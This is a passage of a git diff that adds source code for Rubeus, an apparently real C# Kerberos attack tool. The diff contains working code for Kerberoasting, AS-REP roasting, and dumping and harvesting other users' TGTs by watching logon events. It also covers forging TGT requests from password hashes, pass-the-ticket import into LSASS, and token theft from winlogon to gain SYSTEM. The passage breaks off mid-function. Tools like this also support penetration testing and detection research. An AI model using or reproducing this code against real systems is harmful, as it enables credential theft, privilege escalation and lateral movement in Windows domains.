+ luid = Convert.ToUInt32(arguments["/luid"], 16);
+ }
+ catch
+ {
+ Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
+ return;
+ }
+ }
+ }
+
+ LSA.Purge(luid);
+ }
+
+ else if (arguments.ContainsKey("kerberoast"))
+ {
+ string spn = "";
+ string user = "";
+ string OU = "";
+
+ if (arguments.ContainsKey("/spn"))
+ {
+ spn = arguments["/spn"];
+ }
+ if (arguments.ContainsKey("/user"))
+ {
+ user = arguments["/user"];
+ }
+ if (arguments.ContainsKey("/ou"))
+ {
+ OU = arguments["/ou"];
+ }
+
+ if (arguments.ContainsKey("/creduser"))
+ {
+ if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
+ {
+ Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
+ return;
+ }
+
+ string[] parts = arguments["/creduser"].Split('\\');
+ string domainName = parts[0];
+ string userName = parts[1];
+
+ if (!arguments.ContainsKey("/credpassword"))
+ {
+ Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
+ return;
+ }
+
+ string password = arguments["/credpassword"];
+
+ System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
+
+ Roast.Kerberoast(spn, user, OU, cred);
+ }
+ else
+ {
+ Roast.Kerberoast(spn, user, OU);
+ }
+ }
+
+ else if (arguments.ContainsKey("asreproast"))
+ {
+ string user = "";
+ string domain = "";
+ string dc = "";
+
+ if (arguments.ContainsKey("/user"))
+ {
+ user = arguments["/user"];
+ }
+ if (arguments.ContainsKey("/domain"))
+ {
+ domain = arguments["/domain"];
+ }
+ if (arguments.ContainsKey("/dc"))
+ {
+ dc = arguments["/dc"];
+ }
+
+ if (String.IsNullOrEmpty(user))
+ {
+ Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
+ return;
+ }
+ if (String.IsNullOrEmpty(domain))
+ {
+ domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
+ }
+
+ if (String.IsNullOrEmpty(dc))
+ {
+ Roast.ASRepRoast(user, domain);
+ }
+ else
+ {
+ Roast.ASRepRoast(user, domain, dc);
+ }
+ }
+
+ else if (arguments.ContainsKey("dump"))
+ {
+ if (arguments.ContainsKey("/luid"))
+ {
+ string service = "";
+ if (arguments.ContainsKey("/service"))
+ {
+ service = arguments["/service"];
+ }
+ UInt32 luid = 0;
+ try
+ {
+ luid = UInt32.Parse(arguments["/luid"]);
+ }
+ catch
+ {
+ try
+ {
+ luid = Convert.ToUInt32(arguments["/luid"], 16);
+ }
+ catch
+ {
+ Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
+ return;
+ }
+ }
+ LSA.ListKerberosTicketData(luid, service);
+ }
+ else if (arguments.ContainsKey("/service"))
+ {
+ LSA.ListKerberosTicketData(0, arguments["/service"]);
+ }
+ else
+ {
+ LSA.ListKerberosTicketData();
+ }
+ }
+
+ else if (arguments.ContainsKey("monitor"))
+ {
+ string targetUser = "";
+ int interval = 60;
+ if (arguments.ContainsKey("/filteruser"))
+ {
+ targetUser = arguments["/filteruser"];
+ }
+ if (arguments.ContainsKey("/interval"))
+ {
+ interval = Int32.Parse(arguments["/interval"]);
+ }
+ Harvest.Monitor4624(interval, targetUser);
+ }
+
+ else if (arguments.ContainsKey("harvest"))
+ {
+ int intervalMinutes = 60;
+ if (arguments.ContainsKey("/interval"))
+ {
+ intervalMinutes = Int32.Parse(arguments["/interval"]);
+ }
+ Harvest.HarvestTGTs(intervalMinutes);
+ }
+
+ else if (arguments.ContainsKey("describe"))
+ {
+ if (arguments.ContainsKey("/ticket"))
+ {
+ string kirbi64 = arguments["/ticket"];
+
+ if (Helpers.IsBase64String(kirbi64))
+ {
+ byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
+ KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
+ LSA.DisplayTicket(kirbi);
+ }
+ else if (File.Exists(kirbi64))
+ {
+ byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
+ KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
+ LSA.DisplayTicket(kirbi);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
+ }
+ return;
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
+ return;
+ }
+ }
+
+ else if (arguments.ContainsKey("createnetonly"))
+ {
+
+ if (arguments.ContainsKey("/program"))
+ {
+ if (arguments.ContainsKey("/show"))
+ {
+ LSA.CreateProcessNetOnly(arguments["/program"], true);
+ }
+ else
+ {
+ LSA.CreateProcessNetOnly(arguments["/program"]);
+ }
+ }
+
+ else
+ {
+ Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
+ }
+ }
+
+ else {
+ Usage();
+ }
+ }
+ }
+}
diff --git a/Rubeus/Properties/AssemblyInfo.cs b/Rubeus/Properties/AssemblyInfo.cs
new file mode 100755
index 00000000..bbb9863e
--- /dev/null
+++ b/Rubeus/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("Rubeus")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Rubeus")]
+[assembly: AssemblyCopyright("Copyright © 2018")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/Rubeus/Rubeus.csproj b/Rubeus/Rubeus.csproj
new file mode 100755
index 00000000..0197e01d
--- /dev/null
+++ b/Rubeus/Rubeus.csproj
@@ -0,0 +1,93 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {658C8B7F-3664-4A95-9572-A3E5871DFC06}
+ Exe
+ Properties
+ Rubeus
+ Rubeus
+ v3.5
+ 512
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+
+
+ AnyCPU
+ none
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Rubeus/lib/Ask.cs b/Rubeus/lib/Ask.cs
new file mode 100755
index 00000000..290116fd
--- /dev/null
+++ b/Rubeus/lib/Ask.cs
@@ -0,0 +1,165 @@
+using System;
+using System.IO;
+using System.Linq;
+using Asn1;
+
+namespace Rubeus
+{
+ public class Ask
+ {
+ public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0)
+ {
+ Console.WriteLine("[*] Action: Ask TGT\r\n");
+
+ // grab the default DC if none was supplied
+ if (String.IsNullOrEmpty(domainController))
+ {
+ domainController = Networking.GetDCName();
+ if (String.IsNullOrEmpty(domainController))
+ {
+ return null;
+ }
+ }
+
+ Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);
+
+ if (luid != 0)
+ {
+ Console.WriteLine("[*] Target LUID : {0}", luid);
+ }
+
+ System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController);
+ Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
+
+ Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
+
+ byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);
+
+ byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes);
+ if (response == null)
+ {
+ return null;
+ }
+
+ // decode the supplied bytes to an AsnElt object
+ // false == ignore trailing garbage
+ AsnElt responseAsn = AsnElt.Decode(response, false);
+
+ // check the response value
+ int responseTag = responseAsn.TagValue;
+
+ if (responseTag == 11)
+ {
+ Console.WriteLine("[+] TGT request successful!");
+
+ // parse the response to an AS-REP
+ AS_REP rep = new AS_REP(responseAsn);
+
+ // convert the key string to bytes
+ byte[] key = Helpers.StringToByteArray(keyString);
+
+ // decrypt the enc_part containing the session key/etc.
+ // TODO: error checking on the decryption "failing"...
+ byte[] outBytes;
+
+ if (etype == Interop.KERB_ETYPE.rc4_hmac)
+ {
+ // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
+ outBytes = Crypto.KerberosDecrypt(etype, 8, key, rep.enc_part.cipher);
+ }
+ else if(etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
+ {
+ //https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L57
+ outBytes = Crypto.KerberosDecrypt(etype, 3, key, rep.enc_part.cipher);
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype);
+ return null;
+ }
+
+
+ AsnElt ae = AsnElt.Decode(outBytes, false);
+
+ EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
+
+ // now build the final KRB-CRED structure
+ KRB_CRED cred = new KRB_CRED();
+
+ // add the ticket
+ cred.tickets.Add(rep.ticket);
+
+ // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
+
+ KrbCredInfo info = new KrbCredInfo();
+
+ // [0] add in the session key
+ info.key.keytype = encRepPart.key.keytype;
+ info.key.keyvalue = encRepPart.key.keyvalue;
+
+ // [1] prealm (domain)
+ info.prealm = encRepPart.realm;
+
+ // [2] pname (user)
+ info.pname.name_type = rep.cname.name_type;
+ info.pname.name_string = rep.cname.name_string;
+
+ // [3] flags
+ info.flags = encRepPart.flags;
+
+ // [4] authtime (not required)
+
+ // [5] starttime
+ info.starttime = encRepPart.starttime;
+
+ // [6] endtime
+ info.endtime = encRepPart.endtime;
+
+ // [7] renew-till
+ info.renew_till = encRepPart.renew_till;
+
+ // [8] srealm
+ info.srealm = encRepPart.realm;
+
+ // [9] sname
+ info.sname.name_type = encRepPart.sname.name_type;
+ info.sname.name_string = encRepPart.sname.name_string;
+
+ // add the ticket_info into the cred object
+ cred.enc_part.ticket_info.Add(info);
+
+ byte[] kirbiBytes = cred.Encode().Encode();
+
+ string kirbiString = Convert.ToBase64String(kirbiBytes);
+
+ Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
+
+ // display the .kirbi base64, columns of 80 chararacters
+ foreach (string line in Helpers.Split(kirbiString, 80))
+ {
+ Console.WriteLine(" {0}", line);
+ }
+
+ if(ptt || (luid != 0))
+ {
+ // pass-the-ticket -> import into LSASS
+ LSA.ImportTicket(kirbiBytes, luid);
+ }
+
+ return kirbiBytes;
+ }
+ else if (responseTag == 30)
+ {
+ // parse the response to an KRB-ERROR
+ KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
+ Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
+ return null;
+ }
+ else
+ {
+ Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
+ return null;
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/Crypto.cs b/Rubeus/lib/Crypto.cs
new file mode 100755
index 00000000..046c36af
--- /dev/null
+++ b/Rubeus/lib/Crypto.cs
@@ -0,0 +1,125 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+using System.ComponentModel;
+
+namespace Rubeus
+{
+ public class Crypto
+ {
+ // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
+ public static byte[] KerberosChecksum(byte[] key, byte[] data)
+ {
+ Interop.KERB_CHECKSUM pCheckSum;
+ IntPtr pCheckSumPtr;
+ int status = Interop.CDLocateCheckSum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5, out pCheckSumPtr);
+ pCheckSum = (Interop.KERB_CHECKSUM)Marshal.PtrToStructure(pCheckSumPtr, typeof(Interop.KERB_CHECKSUM));
+ if (status != 0)
+ {
+ throw new Win32Exception(status, "CDLocateCheckSum failed");
+ }
+
+ IntPtr Context;
+ Interop.KERB_CHECKSUM_InitializeEx pCheckSumInitializeEx = (Interop.KERB_CHECKSUM_InitializeEx)Marshal.GetDelegateForFunctionPointer(pCheckSum.InitializeEx, typeof(Interop.KERB_CHECKSUM_InitializeEx));
+ Interop.KERB_CHECKSUM_Sum pCheckSumSum = (Interop.KERB_CHECKSUM_Sum)Marshal.GetDelegateForFunctionPointer(pCheckSum.Sum, typeof(Interop.KERB_CHECKSUM_Sum));
+ Interop.KERB_CHECKSUM_Finalize pCheckSumFinalize = (Interop.KERB_CHECKSUM_Finalize)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finalize, typeof(Interop.KERB_CHECKSUM_Finalize));
+ Interop.KERB_CHECKSUM_Finish pCheckSumFinish = (Interop.KERB_CHECKSUM_Finish)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finish, typeof(Interop.KERB_CHECKSUM_Finish));
+
+ // initialize the checksum
+ // KERB_NON_KERB_CKSUM_SALT = 17
+ int status2 = pCheckSumInitializeEx(key, key.Length, 17, out Context);
+ if (status2 != 0)
+ throw new Win32Exception(status2);
+
+ // the output buffer for the checksum data
+ byte[] checksumSrv = new byte[pCheckSum.Size];
+
+ // actually checksum all the supplied data
+ pCheckSumSum(Context, data.Length, data);
+
+ // finish everything up
+ pCheckSumFinalize(Context, checksumSrv);
+ pCheckSumFinish(ref Context);
+
+ return checksumSrv;
+ }
+
+ // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262
+ public static byte[] KerberosDecrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data)
+ {
+ Interop.KERB_ECRYPT pCSystem;
+ IntPtr pCSystemPtr;
+
+ // locate the crypto system
+ int status = Interop.CDLocateCSystem(eType, out pCSystemPtr);
+ pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
+ if (status != 0)
+ throw new Win32Exception(status, "Error on CDLocateCSystem");
+
+ // initialize everything
+ IntPtr pContext;
+ Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize));
+ Interop.KERB_ECRYPT_Decrypt pCSystemDecrypt = (Interop.KERB_ECRYPT_Decrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Decrypt, typeof(Interop.KERB_ECRYPT_Decrypt));
+ Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish));
+ status = pCSystemInitialize(key, key.Length, keyUsage, out pContext);
+ if (status != 0)
+ throw new Win32Exception(status);
+
+ int outputSize = data.Length;
+ if (data.Length % pCSystem.BlockSize != 0)
+ outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize);
+
+ string algName = Marshal.PtrToStringAuto(pCSystem.AlgName);
+
+ outputSize += pCSystem.Size;
+ byte[] output = new byte[outputSize];
+
+ // actually perform the decryption
+ status = pCSystemDecrypt(pContext, data, data.Length, output, ref outputSize);
+ pCSystemFinish(ref pContext);
+
+ return output;
+ }
+
+ // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262
+ public static byte[] KerberosEncrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data)
+ {
+ Interop.KERB_ECRYPT pCSystem;
+ IntPtr pCSystemPtr;
+
+ // locate the crypto system
+ int status = Interop.CDLocateCSystem(eType, out pCSystemPtr);
+ pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
+ if (status != 0)
+ throw new Win32Exception(status, "Error on CDLocateCSystem");
+
+ // initialize everything
+ IntPtr pContext;
+ Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize));
+ Interop.KERB_ECRYPT_Encrypt pCSystemEncrypt = (Interop.KERB_ECRYPT_Encrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Encrypt, typeof(Interop.KERB_ECRYPT_Encrypt));
+ Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish));
+ status = pCSystemInitialize(key, key.Length, keyUsage, out pContext);
+ if (status != 0)
+ throw new Win32Exception(status);
+
+ int outputSize = data.Length;
+ if (data.Length % pCSystem.BlockSize != 0)
+ outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize);
+
+ string algName = Marshal.PtrToStringAuto(pCSystem.AlgName);
+
+ outputSize += pCSystem.Size;
+ byte[] output = new byte[outputSize];
+
+ // actually perform the decryption
+ status = pCSystemEncrypt(pContext, data, data.Length, output, ref outputSize);
+ pCSystemFinish(ref pContext);
+
+ return output;
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/Harvest.cs b/Rubeus/lib/Harvest.cs
new file mode 100755
index 00000000..edb5983b
--- /dev/null
+++ b/Rubeus/lib/Harvest.cs
@@ -0,0 +1,243 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics.Eventing.Reader;
+using System.Runtime.InteropServices;
+using System.Text.RegularExpressions;
+
+namespace Rubeus
+{
+ public class Harvest
+ {
+ public static void HarvestTGTs(int intervalMinutes)
+ {
+ // First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events
+ // every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log.
+ // On each interval, renew any tickets that are about to expire and refresh the cache.
+ // End result: every "intervalMinutes" a set of currently valid TGT .kirbi files are dumped to console
+
+ if (!Helpers.IsHighIntegrity())
+ {
+ Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
+ return;
+ }
+
+ Console.WriteLine("[*] Action: TGT Harvesting (w/ auto-renewal)");
+ Console.WriteLine("\r\n[*] Monitoring every {0} minutes for 4624 logon events\r\n", intervalMinutes);
+
+ // used to keep track of LUIDs we've already dumped
+ var seenLUIDs = new Dictionary();
+
+ // get the current set of TGTs
+ List creds = LSA.ExtractTGTs();
+
+ while (true)
+ {
+ // check for 4624 logon events in the past "intervalSeconds"
+ string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalMinutes * 60 * 1000);
+ EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
+ EventLogReader logReader = new EventLogReader(eventsQuery);
+
+ for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
+ {
+ // if there's an event, extract out the logon ID (LUID) for the session
+ string eventMessage = eventInstance.FormatDescription();
+ DateTime eventTime = (DateTime)eventInstance.TimeCreated;
+
+ int startIndex = eventMessage.IndexOf("New Logon:");
+ string message = eventMessage.Substring(startIndex);
+
+ // extract out relevant information from the event log message
+ var acctNameExpression = new Regex(string.Format(@"\n.*Account Name:\s*(?.+?)\r\n"));
+ Match acctNameMatch = acctNameExpression.Match(message);
+ var acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?.+?)\r\n"));
+ Match acctDomainMatch = acctDomainExpression.Match(message);
+
+ if (acctNameMatch.Success)
+ {
+ var srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?.+?)\r\n"));
+ Match srcNetworkMatch = srcNetworkExpression.Match(message);
+
+ string logonName = acctNameMatch.Groups["name"].Value;
+ string accountDomain = "";
+ string srcNetworkAddress = "";
+ try
+ {
+ accountDomain = acctDomainMatch.Groups["domain"].Value;
+ }
+ catch { }
+ try
+ {
+ srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
+ }
+ catch { }
+
+ // ignore SYSTEM logons and other defaults
+ if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
+ {
+ Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);
+
+ var expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?.+?)\r\n"));
+ Match match2 = expression2.Match(message);
+
+ if (match2.Success)
+ {
+ try
+ {
+ // check if we've seen this LUID before
+ UInt32 luid = Convert.ToUInt32(match2.Groups["id"].Value, 16);
+ if (!seenLUIDs.ContainsKey(luid))
+ {
+ seenLUIDs[luid] = true;
+ // if we haven't seen it, extract any TGTs for that particular logon ID and add to the cache
+ List newCreds = LSA.ExtractTGTs(luid);
+ creds.AddRange(newCreds);
+ }
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine("[X] Exception: {0}", e.Message);
+ }
+ }
+ }
+ }
+ }
+
+ for(int i = creds.Count - 1; i >= 0; i--)
+ {
+ DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].endtime);
+ DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].renew_till);
+
+ // check if the ticket is going to expire before the next interval checkin
+ if (endTime < DateTime.Now.AddMinutes(intervalMinutes))
+ {
+ // check if the ticket's renewal limit will be valid within the next interval
+ if (renewTill < DateTime.Now.AddMinutes(intervalMinutes))
+ {
+ // renewal limit under checkin interval, so remove the ticket from the cache
+ creds.RemoveAt(i);
+ }
+ else
+ {
+ // renewal limit after checkin interval, so renew the TGT
+ string userName = creds[i].enc_part.ticket_info[0].pname.name_string[0];
+ string domainName = creds[i].enc_part.ticket_info[0].prealm;
+
+ Console.WriteLine("[*] Renewing TGT for {0}@{1}", userName, domainName);
+ byte[] bytes = Renew.TGT(creds[i], false, "", false);
+ KRB_CRED renewedCred = new KRB_CRED(bytes);
+ creds[i] = renewedCred;
+ }
+ }
+ }
+
+ Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now);
+ LSA.DisplayTGTs(creds);
+
+ System.Threading.Thread.Sleep(intervalMinutes * 60 * 1000);
+ }
+ }
+
+ public static void Monitor4624(int intervalSeconds, string targetUser)
+ {
+ // monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
+ // logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.
+
+ if (!Helpers.IsHighIntegrity())
+ {
+ Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
+ return;
+ }
+
+ // used to keep track of LUIDs we've already dumped
+ var seenLUIDs = new Dictionary();
+
+ Console.WriteLine("[*] Action: TGT Monitoring");
+ Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds);
+
+ if (!String.IsNullOrEmpty(targetUser))
+ {
+ Console.WriteLine("[*] Target user : {0}", targetUser);
+ targetUser = targetUser.Replace("$", "\\$");
+ }
+ Console.WriteLine();
+
+
+ while (true)
+ {
+ // check for 4624 logon events in the past "intervalSeconds"
+ string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalSeconds * 1000);
+ EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
+ EventLogReader logReader = new EventLogReader(eventsQuery);
+
+ for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
+ {
+ // if there's an event, extract out the logon ID (LUID) for the session
+ string eventMessage = eventInstance.FormatDescription();
+ DateTime eventTime = (DateTime)eventInstance.TimeCreated;
+
+ int startIndex = eventMessage.IndexOf("New Logon:");
+ string message = eventMessage.Substring(startIndex);
+
+ // extract out relevant information from the event log message
+ var acctNameExpression = new Regex(string.Format(@"\n.*Account Name:\s*(?.+?)\r\n"));
+ Match acctNameMatch = acctNameExpression.Match(message);
+ var acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?.+?)\r\n"));
+ Match acctDomainMatch = acctDomainExpression.Match(message);
+
+ if (acctNameMatch.Success)
+ {
+ var srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?.+?)\r\n"));
+ Match srcNetworkMatch = srcNetworkExpression.Match(message);
+
+ string logonName = acctNameMatch.Groups["name"].Value;
+ string accountDomain = "";
+ string srcNetworkAddress = "";
+ try
+ {
+ accountDomain = acctDomainMatch.Groups["domain"].Value;
+ }
+ catch { }
+ try
+ {
+ srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
+ }
+ catch { }
+
+ // ignore SYSTEM logons and other defaults
+ if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
+ {
+ Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);
+ // filter if we're targeting a specific user
+ if (String.IsNullOrEmpty(targetUser) || (Regex.IsMatch(logonName, targetUser, RegexOptions.IgnoreCase)))
+ {
+ var expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?.+?)\r\n"));
+ Match match2 = expression2.Match(message);
+
+ if (match2.Success)
+ {
+ try
+ {
+ // check if we've seen this LUID before
+ UInt32 luid = Convert.ToUInt32(match2.Groups["id"].Value, 16);
+ if (!seenLUIDs.ContainsKey(luid))
+ {
+ seenLUIDs[luid] = true;
+ // if we haven't seen it, extract any TGTs for that particular logon ID
+ LSA.ListKerberosTicketData(luid, "krbtgt", true);
+ }
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine("[X] Exception: {0}", e.Message);
+ }
+ }
+ }
+ }
+ }
+ }
+ System.Threading.Thread.Sleep(intervalSeconds * 1000);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/Helpers.cs b/Rubeus/lib/Helpers.cs
new file mode 100755
index 00000000..3123403d
--- /dev/null
+++ b/Rubeus/lib/Helpers.cs
@@ -0,0 +1,126 @@
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Security.Principal;
+using System.Text.RegularExpressions;
+
+namespace Rubeus
+{
+ public class Helpers
+ {
+ public static IEnumerable Split(string text, int partLength)
+ {
+ // splits a string into partLength parts
+ if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); }
+ if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); }
+
+ var partCount = Math.Ceiling((double)text.Length / partLength);
+ if (partCount < 2)
+ {
+ yield return text;
+ }
+
+ for (int i = 0; i < partCount; i++)
+ {
+ var index = i * partLength;
+ var lengthLeft = Math.Min(partLength, text.Length - index);
+ var line = text.Substring(index, lengthLeft);
+ yield return line;
+ }
+ }
+
+ private static Random random = new Random();
+ public static string RandomString(int length)
+ {
+ const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+ return new string(Enumerable.Repeat(chars, length)
+ .Select(s => s[random.Next(s.Length)]).ToArray());
+ }
+
+ public static bool IsBase64String(string s)
+ {
+ s = s.Trim();
+ return (s.Length % 4 == 0) && Regex.IsMatch(s, @"^[a-zA-Z0-9\+/]*={0,3}$", RegexOptions.None);
+ }
+
+ public static bool IsHighIntegrity()
+ {
+ // returns true if the current process is running with adminstrative privs in a high integrity context
+ WindowsIdentity identity = WindowsIdentity.GetCurrent();
+ WindowsPrincipal principal = new WindowsPrincipal(identity);
+ return principal.IsInRole(WindowsBuiltInRole.Administrator);
+ }
+
+ public static bool GetSystem()
+ {
+ // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation
+ if (IsHighIntegrity())
+ {
+ IntPtr hToken = IntPtr.Zero;
+
+ // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken
+ Process[] processes = Process.GetProcessesByName("winlogon");
+ IntPtr handle = processes[0].Handle;
+
+ // TOKEN_DUPLICATE = 0x0002
+ bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken);
+ if (!success)
+ {
+ //Console.WriteLine("OpenProcessToken failed!");
+ return false;
+ }
+
+ // make a copy of the NT AUTHORITY\SYSTEM token from winlogon
+ // 2 == SecurityImpersonation
